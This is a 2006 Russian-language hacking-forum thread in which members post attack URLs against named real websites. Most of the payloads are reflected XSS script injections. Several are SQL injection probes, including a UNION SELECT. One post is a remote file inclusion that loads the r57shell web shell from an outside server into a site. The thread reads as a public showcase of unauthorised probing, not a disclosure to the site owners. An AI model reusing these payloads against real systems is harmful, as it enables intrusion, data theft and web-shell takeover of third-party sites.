Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    На главной странице в поиск вбиваем простой вызов алерта, и всё:
    _http://poisk.dn.ua/
    И тут также:
    _http://www.poputchik.ru/
    Некачественные поисковики пошли;)
    _http://mp3rank.ru/search/search.php?said=240&q=%3Cscript%3Ealert%28%2F%5BsL1p%5D%2F%29%3C%2Fscript%3E&sbox=1
    _http://www.tela.ru/tela_pg.pl?pid=24735&kw=<script>alert(/[sL1p]/)</script>&cd=1&ps=10&dt=0&lg=rus
    _http://www.medlux.ru/dsearch/ddb.cgi?pattern=%3Cscript%3Ealert%28%2F%5BsL1p%5D%2F%29%3C%2Fscript%3E&allds=yes
     
    1 person likes this.
  2. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    PHPinclude

    http://c-s.ru/index2.php?[patch_to_file]
     
  3. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    http://abc.ru/s/prop/prop.pl?name=price&maxprice=40%27
     
    1 person likes this.
  4. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
  5. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    _http://www.shop52.ru/rubricator.php?w=%C8%3Cscript%3Ealert(/a1ien/)%3C/script%3E
    _http://www.orioner.ru/racelist/rl_game.php?server=&game=%3Cscript%3Ealert(/a1ien/)%3C/script%3E
    _http://www.orioner.ru/racelist/rl_race.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+from+rl_race/*
     
    #185 EST a1ien, 30 May 2006
    Last edited: 30 May 2006
  6. Dagon

    Dagon Elder - Старейшина

    Joined:
    27 Mar 2006
    Messages:
    57
    Likes Received:
    24
    Reputations:
    8
    http://top.mail.ru/code?type=130&session=0&url="></a></font><script>alert(1)</script>
     
    #186 Dagon, 30 May 2006
    Last edited: 31 May 2006
  7. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    http://www.obyava.ru/cars/LandRover/p17'2/
     
  8. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
  9. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Баг на сайте школа танцев:
    http://www.fox-studio.ru/index.php?razd=7'8
     
  10. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    Сайт первого музыкального канала в Беларуси

    http://one.by/forum/showprofile.php?User=<h1>lol

    http://one.by/forum/postlist.php?Cat=&Board=puvx&page=1&view=collapsed&sb=5'&o=186

    http://one.by/forum/showflat.php?Cat=&Board=puvx&Number='
     
  11. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    _http://www.litra.ru/search.php?query=%3Cimage+style%3Dbackground%3Aurl%28javascript%3Aalert%28%2F%5BsL1p%5D%2F%29%29%3E
    _http://referat.svitonline.com/search.php?s=%3Cimage+style%3Dbackground%3Aurl%28javascript%3Aalert%28%2F%5BsL1p%5D%2F%29%29%3E&Submit=%CF%EE%F8%F3%EA
    _http://www.ukrreferat.com/index.php?search=%3Cimage+style%3Dbackground%3Aurl%28javascript%3Aalert%28%2F%5BsL1p%5D%2F%29%29%3E&how=a
    _http://www.achat.ru/referats/search.pl?query=%3Cimage+style%3Dbackground%3Aurl%28javascript%3Aalert%28%2FSLIP%2F%29%29%3E&submit=%CF%EE%E8%F1%EA
     
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    _http://chat.ukra.net/index.php?Query=2UR5Mr7W6GM0MzRBES1FeXq8FjNdXTS8hYwe18Vd7Pc8PGqi3kVhARrc3QTluv%252B7ySYbsDOMUFEiB%252FPOVhLo%252BJOSZPjfRm9SyU9OoOMwG6Ae2bY4evdx3ajXmI4iX3DH0%252FS3HnzypLekbFVT%252BARwAFeKsG22dIzW3877nIOEVLLQV3FYPwBXsiovO9WwBZCtT7cmAW%252BAX%252F8iOgcmQEMrIbDEzxM024SlyVyBf64ahe%252B6vw3FpRriOHFU%252FRjh56aJeqFxW0u2FKAyjJae5%252F2bSO3r47KHjxYB1Jg2vbA6OYDju3mV17Fv%252BFgeXJ989WSmxjSUurhlIx4uTWrVenngaIepM4nx%252FH2DND%252BuVz3tboovOAhlzds%253D&SearchKeywords=%3Cscript%3Ealert%28%2F%5BsL1p%5D%2F%29%3C%2Fscript%3E
     
  13. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    http://sony.odessa.ua/show_cart.php?new=7000167001&PHPSESSID=eabe11f124b4ee56cd62e27a5'58ff43d
     
    #193 Dracula4ever, 4 Jun 2006
    Last edited: 4 Jun 2006
  14. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    http://www.icq.com/search/results.php?q='><script>alert('Xss')</script>


    баг уже закрыли...
     
    #194 Micr0b, 4 Jun 2006
    Last edited: 15 Jun 2006
  15. Kaban

    Kaban Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    248
    Likes Received:
    78
    Reputations:
    14
    _http://www.maillist.ru/login/6/

    записываем алерт в Email
     
    #195 Kaban, 4 Jun 2006
    Last edited: 4 Jun 2006
  16. gazta

    gazta Elder - Старейшина

    Joined:
    16 Oct 2005
    Messages:
    35
    Likes Received:
    3
    Reputations:
    -1
    О и я нашол сайт с багой _http://www.cqf2.com/index.php?page=http://rst.void.ru/download/r57shell.txt
     
    2 people like this.
  17. Kaban

    Kaban Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    248
    Likes Received:
    78
    Reputations:
    14
    вот еще
    _http://www.checkproxy.com/checkp/ru/checkproxy/?PHPSESSID=FEDCBA9876543210FEDCBA9876543210

    аллерт в строку адреса
     
  18. Kaban

    Kaban Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    248
    Likes Received:
    78
    Reputations:
    14
    и вот:
    _http://www.hmao.info/

    алерт в разделе "У вашей фирмы есть новости?
    "
    во все строки вписываем алерт и получается 3 окошка =)
     
  19. $pon$or

    $pon$or New Member

    Joined:
    8 May 2006
    Messages:
    9
    Likes Received:
    4
    Reputations:
    -12
    #199 $pon$or, 4 Jun 2006
    Last edited: 4 Jun 2006
    1 person likes this.
  20. Kaban

    Kaban Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    248
    Likes Received:
    78
    Reputations:
    14
    _http://www.soft-info.ru/search.php?do=search&search1=on&q=%3Cscript%3Ealert%28%2FKaban%2F%29%3C%2Fscript%3E&submit=%CD%E0%E9%F2%E8

    =\
     
Thread Status:
Not open for further replies.